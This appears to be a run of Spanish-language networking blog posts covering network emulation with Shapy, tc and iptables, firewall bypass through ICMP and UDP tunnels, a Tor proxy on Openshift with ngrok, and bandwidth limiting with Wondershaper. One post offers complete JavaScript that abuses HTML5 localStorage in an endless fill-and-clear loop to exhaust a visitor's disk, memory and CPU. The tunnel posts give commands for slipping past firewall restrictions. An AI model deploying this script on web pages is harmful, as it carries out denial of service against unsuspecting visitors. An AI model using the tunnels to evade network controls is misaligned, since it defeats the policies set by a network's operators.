Emulando parametros de red con Shapy

Este post pretende explicar como emular parámetros de redes tales como la latencia, jitter, pérdida de paquetes y ancho de banda por medio de la creación de un entorno de pruebas enfocado principlamente  para sistemas  GNU/Linux. 

¿Para que emular?

Sirve por ejemplo, en situaciones donde se desea evaluar el comportamiento de diversos protocolos del stack de TCP/IP en redes de datos, verificar el tratamiento que se da a los paquetes con condiciones particulares, y con ello poder predecir posibles fallos o anomalías que puedan ocurrir.

Latencia: Es la demora en la entrega de los paquetes, desde que estos salen hasta que llegan a su destino.

Jitter: Se define como las variaciones en el tiempo (demoras) cuando se transmiten los paquetes, generalmente esas demoras son causadas por un encolamiento al existir altos niveles de tráfico en la red.

Perdida de paquetes: Se presenta cuando los niveles de tráfico son muy altos y  los paquetes tienden a perderse al ser rechazados por los dispositivos de red, especialmente cuando los buffers se llenan.

¿Como hacerlo?

Bien, existen diversas aplicaciones y software para realizar este tipo de pruebas, uno de los mas conocidos es TC (Traffic Control) viene incluido en un modulo del Kernel llamado NetEM para mas información en este link:  http://www.lartc.org/#download.

Sin embargo una forma fácil de entender  y de implementar la podemos realizar por medio de un framework  de python llamado Shapy el cual se apoya en el modulo NetEM,

Shapy

Se asume que python esta instalado  y el gestor de paquetes pip, este ultimo puede ser descargado e instalado en sistemas linux basados en debian o ubuntu ejecutando en una terminal:

sudo apt-get install python-pip

Para instalar shapy simplemente digitamos lo siguiente:

sudo pip install shapy

¿Como configurarlo?

Lo primero es crear un archivo  de configuración de la siguiente forma:

UNITS = 'kbit'
ENV = {'PATH': '/sbin:/bin:/usr/bin'}
HTB_DEFAULT_CLASS = '1ff'
EMU_INTERFACES = ('eth0',"wlan0","lo",)

Donde UNITS son las unidades para limitar ancho de manda puede ser kbits o mbits, ENV es la variable de entorno con la ruta donde esta el comando tc, HTB_DEFAULT_CLASS es la clase que va indentificar cada una de las reglas para cada interfaz de red y asi poder aplicarle un Token Bucket Jerarquico  (Ver el link anterior) y finalmente EMU_INTERFACES son las interfaces de red que se pretenden emular. Lo anterior debe ser guardado en un archivo .py.

Aplicando parametros

A continuación creamos un archivo de python de la siguiente manera:

#IMPORTAR LIBRERIAS
from shapy.emulation.shaper import Shaper
from shapy import register_settings
#LLAMAR ARCHIVO DE CONFIGURACION
register_settings('archivo_configuracion.py')
#APLICAR REGLAS
ip ="192.168.1.1"
subida = 1000
bajada = 500
latencia = 250
jitter = 25
regla = {(ip,) : {'upload': subida, 'download': bajada, 'delay': latencia, 'jitter': jitter},}
sh = Shaper()
sh.set_shaping(regla)

Finalmente las reglas fueron aplicadas en la interfaz donde esta la IP 192.168.1.1, ancho de banda de subida de 1000 kbps, bajada 500 kbps, latencia de 250 milisegundos y jitter de 25 milisegundos.

¿Y la perdida de paquetes?

Hay dos formas de emular perdida de paquetes (que conozco):

1-Usando iptables:

iptables -A INPUT -m statistic --mode random --probability 0.15 -j DROP

Con lo anterior se rechazaran el 15% de los paquetes entrantes en todas las interfaces.

2- Taffic control:

tc qdisc add dev  eth0 parent 1:1 handle 512: netem loss 15%

Con lo anterior se rechazaran el 15% de los paquetes entrantes en  eth0.

Finalmente recomiendo ver el siguiente video para ver de forma práctica como se comporta una red con parametros emulados.

Exploit localstorage (Webstorage) HTML5

HTML5 ha irrumpido con fuerza desde que fue anunciado gracias a sus oportunas novedades que contiene en su API. Entre las dichas novedades existe una llamada el Webstorage o Localstorage que a en vez de usar sentencias SQL permite hacer un almacenamiento por medio de un diccionario (Llave-Valor):

localStorage["llave"] = "datos";

Con lo anterior se hace posible almacenar datos superiores a los 4k que permitian las cookies. Pero existe un fallo que no ha sido solucionado el cual permite hacer un llenado del disco duro (Gigas en pocos segundos) sobrepasando el umbral de 5 MB definido por el estándar, el siguiente enlace explica en detalle como explotar esa vulnerabilidad de los navegadores modernos y tiene su código dispobile en Github:

http://feross.org/fill-disk/

Para llevar esto al extremo en Nación Bit nos hemos propuesto crear nuestro propio código en JavaScript para no solamente saturar el disco duro, sino tambien de paso, la RAM y CPU (:P) con lo cual se podría generar una denegación de servicio del lado del cliente que acceda a la pagina desde un navegador con soporte de HTML5. Este es el código:

function repetir(datos, cantidad) {
  var array = [];
  while (cantidad--) {
     array.push(datos);
  }
  return array.join('');
}

var mis100bytes = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789';
var mis1k = repetir(mis100bytes, 10);
var mis10k = repetir(mis1k, 10);
var mis100k = repetir(mis10k, 10);

function explotar(){
   localStorage["llenar"]='';
   try{
    while (true) {localStorage["llenar"]=localStorage["llenar"]+mis100k;}
  }
  catch(e){
     console.error('error lleno');
     liberar();
  }
}

function liberar(){
   localStorage.removeItem('llenar');
   explotar();
}

¿Como Funciona?

Es sencillo, por medio de la variable mis100bytes almacenamos cien caracteres (1 byte de longitud por cada uno) y con la función repetir() multiplicamos el valor para obtener 1KB, 10KB y 100KB. La función explotar() inicia un ciclo infinito donde se acumulan esos KB hasta que se captura un error de desbordamiento con la funcion liberar() la cual de forma "maquiavelica" salta de nuevo a explotar() creando un circulo vicioso que colapsa el disco, memoria y procesador. El sigueinte video (como es costumbre) ilustra lo que puede suceder.

   

Crear un "ICMP tunnel" con Hans

En algunas ocasiones cuando estamos detrás de un firewall y este nos bloquea puertos, nos sentimos frustrados al no poder salir a Internet. A pesar que intentemos obtener acceso usando técnicas a nivel de capa de transporte como por ejemplo tuneles TCP, UDP y HTTP entre otros, el firewall en la mayoria de los casos va salir victorioso. Es aquí amigos, donde entra el milagroso protocolo ICMP conocido gracias al inmortal comando "ping", el cual permite enviar mensajes de peticiones y de respuesta de eco, usado a menudo para diagnostico en las redes IP.  En los mensajes ICMP, se encapsulan los datos de los demás protocolos en el payload del paquete para no ser detectados.

En los sistemas Linux y Unix  hay una serie de programas que nos permiten realizar conexiones para hacer bypass en los firewalls donde el trafico ICMP es permitido, sin importar que los puertos a nivel de capa de transporte sean bloqueados. Uno de esos programas se llama "Hans" el cual funciona en arquitectura cliente-servidor. En la pagina "http://code.gerade.org/hans/" se encuentran todas las caracteristicas y la descripción del software incluyendo el cídigo fuente.

Como es costumbre aquí en Nación Bit dejamos a dispossición un videotutorial dónde se describen los pasos de una forma sencilla para implentar el tunnel ICMP con Hans y así  poder lograr el tan anhelado acceso a internet:

TCP over UDP Tunnel

No es que estemos obsesionados por los túneles y el anonimato pero en realidad…. ¡Sí que lo estamos! Hoy quiero compartirles una herramienta que nos permite crear túneles para el envío de paquetes TCP sobre mensajes UDP, siendo esto de gran utilidad cuando nos encontramos en redes de datos con restricciones o algunas limitaciones en el uso de protocolos muy comunes como lo es HTTP, FTP, SSH. etc. El nombre de esta herramienta es udptunnel y opera de la siguiente manera:

Se tiene dos computadoras, la primera (PC1) cuenta con acceso a la red sin restricción alguna y la segunda (PC2) tiene bloqueado el envío y recepción de paquetes ICMP y TCP dentro de la red.

+------------+                  +------------+ (Internet)<---| Server PC1 |    TCP - ICMP    | Client PC2 |               |22 SSH (TCP)| >===  BLOCK ===< |    SSH     |               +------------+                  +------------+

En el lado del servidor (PC1) ejecutamos udptunnel especificando un puerto donde escuchará las peticiones UDP del PC2, para que luego se realice la conversión de esas peticiones UDP a TCP que serán re-enviados a un servicio TCP local en el servidor.

./udptunnel -s <PortUDP>

Al ejecutar udptunnel en el cliente (PC2) se crea un servidor TCP local donde hará forwarding al servicio especificado en (PC1) a partir de la sustracción de los payloads en los mensajes UDP para así crear paquetes TCP de igual manera que como se hizo en el servidor.

./udptunnel -c <PortTCPLocal> <IPaddresServer> <PortUDPServer> 127.0.0.1 <PortServiceTCPserver>

+------------+                  +------------+ (Internet)<---| Server PC1 |                  | Client PC2 |               |            |    TCP - ICMP    |            |             ↑ | 22 SSH TCP | >===  BLOCK ===< |3000 SSH TCP| ↑             | |            |                  |            | |                    | | UDP<->TCP  |        UDP       |  UDP<->TCP | |             ↓ | 4000 (UDP) | <=== ACCEPT ===> |    (UDP)   | ↓               +------------+                  +------------+

En el siguiente video tutorial vamos a realizar una demostración de cómo lograr conectarnos a un servicio SSH y posteriormente acceder a internet mediante un proxy Socks5.
 

Anonimato como servicio Openshift + TOR + Ngrok

Si alguna vez has pensado que bueno seria tener un servidor proxy para navegación anónima las 24 horas, que sea accesible desde cualquier lugar y dispositivo este post te enseñará como hacerlo. Gracias al surgimiento de las plataformas como servicios PaaS es posible configurar de forma personalizada sistemas operativos y servicios. El siguiente video tutorial describe paso a paso como establecer un servicio de Anonimato como servicio (AaaS) por medio de una plataforma gratuita llamada Openshift  la cual brinda el acceso en línea a un sistema operativo Linux Redhat, donde se puede combinar con la red distribuida para navegación anónima  TOR, usando un proxy socks5 y un túnel TCP con NGROK para hacer visible el puerto hacia el exterior.

NOTA: Para empezar es necesario registrarse en Openshift (www.openshift.com) y en ngrok (https://ngrok.com/), espero les sea de utilidad.

Limitar ancho de banda en Ubuntu Linux con Wondershaper

En ocasiones, nos conectamos a Internet compartiendo el ancho de banda con otros usuarios en la red y notamos que la conexión comienza a deteriorarse, especialmente cuando se acceden a contenidos de video (Youtube, Vimeo ...etc), música o trafico p2p como es el caso de los torrents. Esto ocurre debido a que no existen políticas para gestionar de forma adecuada el tráfico. Una ventaja de los sistemas basados en Unix es que tienen múltiples herramientas y técnicas que nos permiten gestionar de forma adecuada el flujo de los datos. Este video tutorial explica como limitar nuestro ancho de banda usando Wondershaper en sistemas Unix y Linux de forma fácil y rápida.

Para instalar en sistemas Ubuntu o basados en Debian simplemente digitamos en una terminal de comandos:

# sudo aptitude install wondershaper

Para establecer la velocidad de transmisión, seleccionamos una interfaz de red y a continuación los valores de la velocidad  de bajada y de subida en Kbps respectivamente:

# sudo wondershaper wlan0 400 500

En ele ejemplo anterior se establece un downstream de 400 Kbps y un upstream de 500 Kbps en la interfaz de red wlan0. Para restablecer de nuevo la configuración original se escribe lo siguiente:

# sudo wondershaper clear wlan0